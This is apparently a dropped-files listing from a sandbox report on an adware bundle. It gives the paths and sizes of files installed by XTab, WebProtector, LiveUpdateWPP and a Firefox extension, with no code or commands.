    %Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
    %Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
    %Program Files% (x86)\XTab\skin\btn.png (2 bytes)
    %Program Files% (x86)\XTab\install.data (68 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
    %Program Files% (x86)\XTab\HPNotify.exe (18514 bytes)
    %Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1031.xpi (15 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
    %Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\ver.txt (47 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst81AE.tmp\System.dll (23 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
    %Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
    %Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
    %Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
    %Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
    %Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\main.xml (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
    %Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
    %Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\ProtectService.exe (5469 bytes)
    %Program Files% (x86)\XTab\web\js\js.js (18 bytes)
    %Program Files% (x86)\XTab\skin\logo.png (5 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
    %Program Files% (x86)\XTab\web\main.css (19 bytes)
    %Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\close.png (3 bytes)
    %Program Files% (x86)\XTab\web\data.html (20 bytes)
    %Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
    %Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
    %Program Files% (x86)\XTab\skin\about.png (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\settings.png (5 bytes)
    %Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
    %Program Files% (x86)\XTab\web\js\common.js (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\SupTab.dll (15928 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
    %Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
    C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[2].gif (34 bytes)
    %Program Files% (x86)\WebProtectorPlus\SetupComponents.exe (181 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\SetupWPP[1].exe (16240 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\Observer.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\Timer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome.manifest (355 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[1] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\chrome (32 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[1].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdF799.tmp (24004 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\webprotector_installer[1].exe (17968 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\GUID.js (599 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\aints.exe (17874 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\9813[1].xpi (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ein.exe (19778 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\webprotector_chrome[1] (32 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\inetc.dll (46 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\LiveUpdateWPP_is[1].exe (17248 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ZipDLL.dll (3608 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\uinst.exe (19050 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\ffwebex.xpi (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[1] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[3].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj68B2.tmp\nsExec.dll (14 bytes)
    %Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP.exe (12003 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj68B2.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[2].gif (34 bytes)
    %Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe (1617 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj68B2.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF23B.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[2].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF23B.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF23B.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse647D.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[3].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse647D.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse647D.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S1HSWD6MH2RHQ5YOFLA1.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JVTUFZJQX4C9XF36LGXG.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZBCWW96D2663H8USJX0I.temp (196 bytes)
    %Program Files% (x86)\WebProtector\WebProtector_new.dll (12030 bytes)
    %Program Files% (x86)\WebProtector\WebProtector.dll (3568 bytes)
    %Program Files% (x86)\WebProtector\ToolbarData.ini (849 bytes)
    %Program Files% (x86)\WebProtector\webprotector_uninstaller.exe (1279 bytes)
    %Program Files% (x86)\WebProtector\hotbtn.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz75BC.tmp\System.dll (23 bytes)
    %Program Files% (x86)\WebProtector\btn.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd786A.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyFCA7.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f25595fb2d03cea11cff92369c472b46.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a30982f31291df3a224a539f4a41874a.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\856a0dc089109aa32a0bbd0591da6fc5.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2156938036694ac0f0bf5a476cfff773.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8e894cc897f941deaf2cb360125eeee3.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4f4b17d70c4e0d04315603e097739edb.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\bf5021ef23104a9b0a16854e52ab45a3.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\daafdf5668ae41fdd7f14392a1603485.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\800cfbc29a5f65a7f8a0e110c1dd16bb.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\68818fdb8def3569475a9ef30685d823.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\989a5e1a6e7a81ba8c2d7924a67d25c4.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9b7d81ff2c95f44f8a953b1d31894104.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4efb8fce1a7c7935fade7d13f7590c8f.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a8fac28f6f196d96a16dad4b34fdf282.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\15b00ba8118b95bfcba07eb28a778086.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2fb608fed2359416c705fcdd3904207b.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\cd839c76cd4d6630869c2e7b70603d95.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3e32a5ec376f4a2f0f96eddd5de581f4.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6ff8b698498bdd96c60ab54995d8df39.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ad70afcfa624882e12fe03077e2ab49d.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\2a813a7186a6b802d151e74d906b5bb7.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (671 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\406bd94dd365ac5f340e1956e145b681.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\18758c76d3a4d5be010fc5cbfd2fb5d0.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6d21bc542a07a7323f91a135e067b19d.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\47414197da28491e4c04b119bb879674.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1937afcb25511288e979d2d03c42f809.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a2f627eba53bf17f4d312c92706480d4.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8f380a28e028fd0ed6d106fcc1a4d1dc.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\89899fcb7c9b95175098b08f9368f7ed.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3ea816c6ec716ac8c2dfef4aeeee0af8.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ac9b1149f12faa4fd7794c09f1cb111a.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\cc664287652067135d69ed2b2d93925f.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
